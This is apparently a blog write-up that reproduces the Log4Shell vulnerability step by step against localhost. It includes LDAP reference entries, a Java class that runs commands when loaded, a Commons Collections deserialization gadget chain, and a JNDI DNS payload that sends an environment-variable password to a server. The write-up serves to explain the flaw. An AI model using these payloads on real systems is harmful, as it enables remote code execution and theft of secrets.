After all the commotion in the last few days, I was interested in how this exploit works in detail. There are already countless blog posts about this on the Internet. However, they usually stop before they get to the details I was interested in. That’s why I created a minimal example, which I want to present here now.

Especially since serialization attacks are a typical example of attack scenarios in the Java ecosystem, it is worth looking at this in a bit more detail.

In the following, I present three of the problems that have been raised. Remote classloading via LDAP, a serialization attack via LDAP, and a way to read data from the system and send it to an LDAP or DNS server.

Remote Classloading via LDAP

JNDI (Java Naming and Directory Interface) allows references to remote classes to be stored in LDAP, which are then downloaded on retrieval. To do this, the LDAP entry must have the following structure:

javaClassName: <javaClassName>
javaCodeBase: <javaCodeBase>
objectClass: javaNamingReference
javaFactory: <javaFactory>
  • javaCodeBase references the location of the class. E.g. http://127.0.0.1:8888/.
  • javaFactory specifies the name of the class that is downloaded from javaCodeBase. Their static initializers are then also executed so that one can relatively simply place the Exploit code in it.

The Exploit

So let’s try the following LDAP entry:

javaClassName: foo
javaCodeBase: http://127.0.0.1:8888/
objectClass: javaNamingReference
javaFactory: Exploit

The code we use is:

public class Exploit {
    static {
        System.out.println("Exploit executed");
        try {
            String[] cmd = new String[] { "<some command>" };
            java.lang.Runtime.getRuntime()
                .exec(cmd)
                .waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

This code will execute any command when the class is loaded. This can now be placed on a web server. For simplicity, I start one via python3 -m http.server 8888. Furthermore, you need an LDAP server, where the above-mentioned entry is stored. For this I used unboundid-ldapsdk. The entry is referenced by dc=javaNamingReference. The following code then triggers the exploit.

public class Main {
    private static final Logger logger = LogManager.getLogger(Main.class);
 
    public static void main(String[] args) {
        logger.error("log4shell: ${jndi:ldap://127.0.0.1:1389/dc=javaNamingReference}");
    }
}

Since this does not work with newer Java versions, you either have to run this with an old version or set the property com.sun.jndi.ldap.object.trustURLCodebase=true.

When you run this, you will now see the following:

image

At the top, you can see the call of the program that logs a line with log4j. After that comes the output of the LDAP server, then the output of the webserver which delivers remote classes, and at the very bottom the result of the exploit code. Here it is simply the call to exploit_code.sh, which just writes the current date to a file.

That is a call to the LDAP server which provides the data about where to find the class. This then goes to the web server from which it is downloaded.

However, Exploit is not a correct ObjectFactory, so there is a ClassCastException in the background, with the following message: class Exploit cannot be cast to class javax.naming.spi.ObjectFactory. However, this is not logged by default, and at this point the static code has already been executed, so you can make your life easy in this case. The log message is therefore also not transformed and the original string, i.e. ${jndi:ldap://127.0.0.1:1389/dc=javaNamingReference} remains.

Notes

There is the notion that thisis no longer possible in newer Java versions. Nevertheless, it is still not completely safe. So what is this all about?

Remote classloading via JNDI was actually prevented by default in later versions. This can be controlled via the parameter com.sun.jndi.ldap.object.trustURLCodebase.

This now means that you cannot use the variant with javaNamingReference for the exploit in these versions. This makes things a bit more difficult, but not impossible. However, this now depends a bit on the loaded classes.

Deserialized object via LDAP

Furthermore, JNDI allows serialized objects to be delivered, which are then deserialized. However, the class must already be known for this. For this the LDAP entry must have the following structure:

javaClassName: <javaClassName>
objectClass: javaMarshalledObject
javaSerializedData: <javaSerializedData>

In this case, of course, it is more difficult to execute arbitrary code because you have less control. However, there are regularly classes in libraries that allow this. Examples can be found here: ysoserial

The Exploit

I will use the CommonsCollections7 (or CommonsExploit) example here to run an external program.

Here we exploit that in Apache Commons Collections 3.1 you can create an unsafe transformer that is called in a LazyMap when an element is not in the map. This is defined as follows:

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[] { String.class, Class[].class },
        new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke",
        new Class[] { Object.class, Object[].class },
        new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec",
        new Class[] { String.class },
        execArgs),
    new ConstantTransformer(1) };

So effectively Runtime.getRuntime().exec(execArgs) is used to create elements in the LazyMap. That is, an external program is called.

Now you just have to make sure that this actually happens when deserializing.

To do this, LazyMaps are first created, each of which has the same hash code.

lazyMap1.put("yy",1);
lazyMap2.put("zZ",1);

“yy” and “zZ” have equal hashcodes (3872 each), so both lazyMap1, and lazyMap2 have equal hashcodes. These are now used as keys for a hashtable:

Hashtable hashtable=new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);

Since the hashes of the two LazyMaps are the same, both keys, i.e. lazyMap1 and lazyMap2, are compared. The keys in lazyMap1 are iterated over and it is checked whether they also appear in lazyMap2. For this comparison, however, a get is also called on the key in lazyMap2 in each case, which now uses the transformer to generate unknown keys. In the code that prepares the maps, this creates an entry with key “yy” in lazyMap2, since this key exists in lazyMap1 and a LazyMap generates key-value pairs on-demand. Since the transformer does nothing at first, the value is then also “yy”.

After that, transformers is only actually set via Reflections as a transformer that executes the exploit.

The additional value “yy” must now be removed again from lazyMap2 so that the hashes are equal again. If now the object is restored, the thing just described happens again. Only this time the transformer defined in transformers is called and the defined code is executed.

setFieldValue(transformerChain, "iTransformers", transformers);
lazyMap2.remove("yy");

Now you can serialize the generated hashtable and create an LDAP entry with the data:

javaClassName: foo
objectClass: javaMarshalledObject
javaSerializedData: <base64 encodierte Daten>

If you execute this, you will now see the following:

image

As in the previous example, at the top you can see the call of the program that logs a line with log4j. After that comes the output of the LDAP server. Here you can see the data of the serialized object. After that the data of the webserver, which delivers remote classes. But this is not requested here. At the bottom the result of the exploit code. This is again the call of exploit_code.sh, which simply writes the current date into a file.

Tapping of information

Furthermore, substitutions are also replaced recursively. Since one can also access the environment variables among other things, the possibility offers itself here also this information to a server to send. If you type "${jndi:dns://127.0.0.1/${env:MY_PASSWORD}}" the content of MY_PASSWORD will be sent to a server listening on UDP port 53. You could of course do this with LDAP, but it is good to know that this also works with DNS, especially since you might be more likely to let such requests through the firewall than LDAP requests. This also works with trustURLCodebase=false because of course no external code is used at all.

image

Above is the call with the corresponding log line. Below is the request that arrives at the server. The payload contains the content of MY_PASSWORD. I have not implemented the DNS protocol here, otherwise you probably could have given a response that replaces the values in the log output.

JNDI in general

Now all this is not because log4j uses JNDI in a very special way. The following code (see jndi subproject), will also execute the exploit

Context ctx = new InitialDirContext(...);
ctx.lookup("ldap://127.0.0.1:1389/dc=javaNamingReference");

That is, if you use any form of serialization of objects, you should pay close attention. It can also be somewhat hidden, as you can see in this example.

Links